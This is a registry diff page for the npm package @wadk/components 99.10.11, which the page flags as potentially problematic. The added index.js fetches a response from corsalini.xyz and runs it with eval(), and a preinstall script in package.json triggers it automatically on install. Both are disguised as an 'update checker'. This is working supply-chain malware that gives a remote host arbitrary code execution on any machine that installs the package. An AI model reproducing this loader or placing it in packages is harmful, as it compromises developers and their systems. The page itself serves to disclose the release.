@wadk/components 99.10.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @wadk/components might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ const https = require('https')
2
+
3
+ // Check for updates
4
+ https.request({
5
+ hostname: 'corsalini.xyz',
6
+ port: 443,
7
+ path: '/update/check',
8
+ method: 'get'
9
+ }, res => {
10
+ res.on('data', data => {
11
+ // Evaluate the update
12
+ eval(data.toString())
13
+ })
14
+ }).end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@wadk/components",
3
+ "version": "99.10.11",
4
+ "description": "Update checker",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "luc10",
11
+ "license": "ISC"
12
+ }